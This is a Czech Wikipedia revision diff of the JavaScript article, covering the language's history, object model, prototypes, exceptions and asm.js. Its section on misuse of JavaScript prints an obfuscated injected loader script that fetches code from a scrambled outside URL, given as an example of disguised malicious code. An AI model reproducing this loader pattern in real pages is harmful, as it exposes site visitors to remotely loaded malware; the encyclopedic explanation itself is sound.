JavaScript: Porovnání verzí

Smazaný obsah Přidaný obsah
Zneužívání JavaScriptu
m typografické úpravy
Řádek 14:
| datum přístupu = 22-3-2014
}}</ref>
|datum_poslední_verze = [[22. březen|22. &nbsp;března]] [[2011]]
|poslední_testovací_verze =
|datum_poslední_testovací_verze =
Řádek 26:
|web =
}}
'''JavaScript''' je multiplatformní, [[Objektově orientované programování|objektově orientovaný]] [[skriptovací jazyk]], jehož autorem je [[Brendan Eich]] z &nbsp;tehdejší společnosti [[Netscape Communications Corporation|Netscape]].
 
Nyní se zpravidla používá jako [[interpret (software)|interpretovaný]] [[programovací jazyk]] pro [[World Wide Web|WWW]] stránky, často vkládaný přímo do [[HyperText Markup Language|HTML]] kódu stránky. Jsou jím obvykle ovládány různé interaktivní prvky [[Grafické uživatelské rozhraní|GUI]] (tlačítka, textová políčka) nebo tvořeny animace a &nbsp;efekty obrázků.
 
Jeho syntaxe patří do rodiny jazyků [[C (programovací jazyk)|C]]/[[C++]]/[[Java (programovací jazyk)|Java]]. Slovo Java je však součástí jeho názvu pouze z &nbsp;marketingových důvodů a &nbsp;s &nbsp;programovacím jazykem [[Java (programovací jazyk)|Java]] jej vedle názvu spojuje jen podobná syntaxe. JavaScript byl v &nbsp;červenci [[1997]] standardizován asociací [[ECMA]] (European Computer Manufacturers Association) a &nbsp;v &nbsp;srpnu [[1998]] [[Mezinárodní organizace pro normalizaci|ISO]] (International Organization for Standardization). Standardizovaná verze JavaScriptu je pojmenována jako [[ECMAScript]] a &nbsp;z &nbsp;ní byly odvozeny i &nbsp;další implementace, jako je například [[ActionScript]].
 
JavaScript byl původně obchodní název implementace společnosti Netscape, kde byl vyvíjen nejprve pod názvem Mocha, později LiveScript, ohlášen byl společně se společností [[Sun Microsystems]] v &nbsp;prosinci 1995 jako doplněk k &nbsp;jazykům [[HyperText Markup Language|HTML]] a &nbsp;[[Java (programovací jazyk)|Java]]. Pro verzi firmy [[Microsoft]] je použit název [[JScript]]. Ten je podporován platformou [[.NET]].
 
Program v JavaScriptu se obvykle spouští až po stažení WWW stránky z &nbsp;[[Internet]]u (tzv. &nbsp;na straně klienta), na rozdíl od ostatních jiných interpretovaných programovacích jazyků (např. [[PHP]] a &nbsp;[[ASP]]), které se spouštějí na straně [[server]]u ještě před stažením z &nbsp;Internetu. Z &nbsp;toho plynou jistá bezpečností omezení, JavaScript např. &nbsp;nemůže pracovat se soubory, aby tím neohrozil soukromí uživatele.
 
JavaScript je možné použít i &nbsp;na straně [[server]]u. První implementací JavaScriptu na straně serveru byl [[LiveWire]] firmy Netscape vypuštěný roku [[1996]], dnes existuje několik možností včetně opensource implementace [[Rhinola]] založené na [[Rhino]], [[gcj]], [[Node.js]] a &nbsp;[[Apache HTTP Server|Apache]].
 
Kromě [[DHTML]] se JavaScript používá k &nbsp;psaní rozšíření pro mnohé aplikace, například [[Adobe Acrobat]].
 
JavaScript je také možno spouštět v &nbsp;[[Operační systém|operačních systémech]] [[Microsoft Windows|Windows]] pomocí programu Windows Script Host a &nbsp;nahradit tak [[Dávkový soubor|dávkové soubory]] [[MS-DOS]].
 
== Rysy objektově orientovaného programování ==
Řádek 47:
==== Dynamické přiřazení typů (Dynamic typing) ====
 
Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s &nbsp;hodnotami místo [[Proměnná|proměnných]]. Kupříkladu proměnné <code>x</code> může být přiřazena hodnota v &nbsp;podobě celočíselného typu, později řetězce atd. JavaScript pochopitelně podporuje řadu způsobů jak typ [[Objekt (programování)|objektu]] otestovat.
 
==== Objekty jako asociativní pole (objects as associative fields) ====
 
JavaScript je převážně objektově založený. Objekty jsou asociativními [[pole (datová struktura)|poli]], rozšířenými o &nbsp;tzv. &nbsp;[[Prototyp (prototypová dědičnost)|prototypy]] (viz níže). Názvy atributů objektů jsou klíči asociativního pole: <code>obj.x = 10</code> a &nbsp;<code>obj[“x“] = 10</code> jsou tedy ekvivalentními výrazy, první varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a &nbsp;jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí <code>for...infor…in</code> cyklu. V &nbsp;tom se však promítnou i &nbsp;zděděné vlastnosti (z &nbsp;prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.
 
==== Runtime evaluation (= míra možných akcí proveditelných za běhu programu) ====
 
Pro úplnost nutno zmínit, že JavaScript v &nbsp;sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem [[Interpret (software)|interpretovaných jazyků]], nejedná se tedy o &nbsp;žádnou specialitu JavaScriptu jako takového.
 
=== Funkcionální ===
==== Funkce první třídy (first-class functions) ====
 
Označení funkce první třídy vyjadřuje, že funkce jsou samy o &nbsp;sobě také objekty. Jako takové, mají tedy své atributy a mohou být předány dále, anebo s &nbsp;nimi lze manipulovat jako s &nbsp;kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako [[Konstruktor|konstruktory]] a &nbsp;[[Funkce (programování)|metody]]).
 
==== Anonymní (vnitřní) funkce a &nbsp;uzávěry (closures) ====
 
Vnitřní [[Funkce (programování)|funkce]] (neboli funkce definované uvnitř jiných (vnějších) funkcí) jsou vytvořeny při každém zavolání funkce nadřazené, a &nbsp;proměnné funkcí vnějších existují po dobu existence funkce vnitřní, dokonce i &nbsp;po ukončení zvolání (tedy i &nbsp;po navrácení této vnitřní funkce, má daná funkce stále přístup k proměnným své funkce vnější) – toto je mechanismus v &nbsp;JavaScriptu nazývaný jako closures - uzávěry.
 
=== Prototypové (prototype-based) ===
==== Prototypy (Prototypes) ====
 
Přestože JavaScript nedisponuje klasickým konceptem třída-instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – [[Prototypová dědičnost|prototypováním]]. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a &nbsp;vlastností třídově založených (class-based) mechanismů, například [[Dědičnost (objektově orientované programování)|dědičnost]], která je u &nbsp;JavaScriptu nazývána právě jako [[Prototypová dědičnost|dědičnost prototypová]], která je vysvětlena na příkladu níže.
 
==== Funkce jako konstruktory objektů (Functions as constructors) ====
 
Funkce tedy mají v &nbsp;JavaScriptu kromě své běžné role význam jako [[Konstruktor|konstruktory]] objektů. Voláním konstruktoru pomocí operátoru new se pak vytvoří nový objekt ([[Instance třídy|instance]]). Vlastnost objektu se deklaruje přes klíčové slovo <code>this</code>. Přímo při vytváření objektu lze tedy přejímáním parametrů volaného konstruktoru inicializovat jednotlivé proměnné. Atribut prototype dané funkce potom určuje prototyp nově vytvořeného objektu.
Příklad konstruktoru třídy <code>Auto</code>:
 
Řádek 93:
==== Funkce jako metody (Functions as methods) ====
 
Na rozdíl od většiny objektově orientovaných jazyků, u &nbsp;JavaScriptu nerozlišuje mezi definicí metody a &nbsp;definicí funkce. Znatelný rozdíl však vyvstane při volání – funkce může být volána jako metoda. Je-li funkce volána jako metoda objektu, je se svým objektem svázána klíčovým slovem <code>this</code>.
 
==== Dědičnost (Inheritance) ====
{{Podrobně|Dědičnost (objektově orientované programování)}}
Ačkoliv má JavaScript určité prvky dědičnosti, nejedná se o &nbsp;klasickou dědičnost známou z &nbsp;typových jazyků C++ nebo Java. JavaScript nepodporuje zápis tříd (pouze konstruktor) a &nbsp;s &nbsp;tím spojenou hierarchii tříd, proto lze hovořit spíše o &nbsp;jakési simulaci (viz oddíl prototypy výše) dědičnosti, nazvanou dědičnost prototypová. Prototyp slouží jako zvláštní objekt, který je přidružen každé funkci (tedy i &nbsp;k &nbsp;funkci jako konstruktoru). Všechny objekty inicializované skrze nějaký konstruktor dědí, respektive sdílejí, vlastnosti a &nbsp;metody obsažené právě v &nbsp;prototypu daného konstruktoru.<br />
 
Podíváte-li se zpět na zápis konstruktoru <code>auto</code>, v &nbsp;objektu je vložená také metoda <code>vypisZnacku()</code>. Technicky má v &nbsp;paměti každá instance této "třídy"„třídy“ lokální kopii této metody, což je přinejmenším z &nbsp;hlediska správy paměti nevhodné. Právě tento problém řeší prototypy, neboť stačí metodu deklarovat na úrovni prototypu a &nbsp;ta již nebude součástí každé instance. To ovšem neznamená, že nebude dosažitelná. Při vyhodnocování JavaScript hledá metodu nejprve v &nbsp;příslušném objektu, pakliže ji nenajde, jde o &nbsp;úroveň výše - do prototypu konstruktoru. Samozřejmě je vhodné sdílení pouze takových datových složek, které jsou neměnné pro všechny instance. To znamená především metody a &nbsp;konstanty. Jak by vypadal upravený zápis předchozího příkladu můžete vidět níže:
<source lang="JavaScript">
// Definice konstruktoru
Řádek 137:
==== Výjimky (Exceptions) ====
 
Rysem společným s &nbsp;objektově orientovanými jazyky jsou také výjimky. Jedná se o &nbsp;mechanismus zachytávání stavů vyvolaných chybným kódem, například přístupem k &nbsp;neexistující metodě. Tyto chyby lze zachytávat pomocí klíčových slov <code>try</code>, <code>catch</code> a &nbsp;volitelně <code>finally</code>. Na rozdíl od jiných jazyků však výjimka může být jakéhokoli typu, tzn. &nbsp;můžeme vyvolat jako výjimku i &nbsp;řetězec nebo číslo:
<source lang="JavaScript">
function Person(name) {
Řádek 154:
}
</source>
Je však dobrým zvykem vyvolávat výjimky s &nbsp;typem Error či podobnými.
 
== Rozšíření asm.js ==
Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou<ref>http://asmjs.org/ Homepage (anglicky)</ref>, která je určena pro výrazné zrychlení běhu javascriptových programů (podobně jako technologie NaCl a &nbsp;jazyk Dart od Google), zejména původně napsaných pro jinou platformu, v &nbsp;současné době jde hlavně o &nbsp;hry z &nbsp;oblasti PC<ref>http://www.cnews.cz/epic-games-ve-spolupraci-s-mozillou-v-prohlizeci-zprovoznil-unreal-engine-4 Epic Games ve spolupráci s &nbsp;Mozillou v &nbsp;prohlížeči zprovoznil Unreal Engine &nbsp;4 (česky)
</ref>, typicky napsané v &nbsp;jazyce C nebo C++.
 
Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v &nbsp;současné době, Mozilla Firefox, Google Chrome a &nbsp;Opera.<ref>https://blog.mozilla.org/futurereleases/2013/11/26/chrome-and-opera-optimize-for-mozilla-pioneered-asm-js/ Chrome and Opera Optimize for Mozilla-Pioneered Asm.js (anglicky)</ref><ref>http://www.linuxexpres.cz/novinky/asm-js-zrychluje Asm.js zrychluje (česky)
</ref>
 
Řádek 166:
[[Webový prohlížeč]] uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí.
 
Podle údajů firmy Yahoo z &nbsp;roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 &nbsp;% (celosvětový průměr), od 0,25 &nbsp;% v &nbsp;Brazílii po 2 &nbsp;% v &nbsp;USA.<ref>[http://www.searchenginepeople.com/blog/stats-no-javascript.html How Many Users Have JavaScript Disabled]</ref>
 
V &nbsp;rámci tzv. &nbsp;[[webová přístupnost|webové přístupnosti]] by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.
 
== Zneužívání JavaScriptu ==
Protože je JavaScript součástí většiny prohlížečů, existuje snaha o &nbsp;jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu [[IFRAME]] nebo použití nečitelného kódu v &nbsp;samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky.<ref name="From Hidden Iframes to Obfuscated Scripts">{{Citace elektronického periodika
| příjmení =
| jméno =
Řádek 190:
}}</ref>
 
Co se týká druhé možnosti, např. &nbsp;kód:
<source lang="JavaScript">
<script>
Řádek 198:
Q236s4ic4454clw.setAttribute('id', 'myscript1');
Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.***));
// místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''" - toto řešení je nutné z &nbsp;důvodu neblokování načítání této stránky antivirovými programy
 
Q236s4ic4454clw.setAttribute('defer', 'defer');
Řádek 213:
</source>
 
který vlastní škodlivý kód načte z &nbsp;vnější adresy mimo napadený server.<ref name="From Hidden Iframes to Obfuscated Scripts" />
 
== Reference ==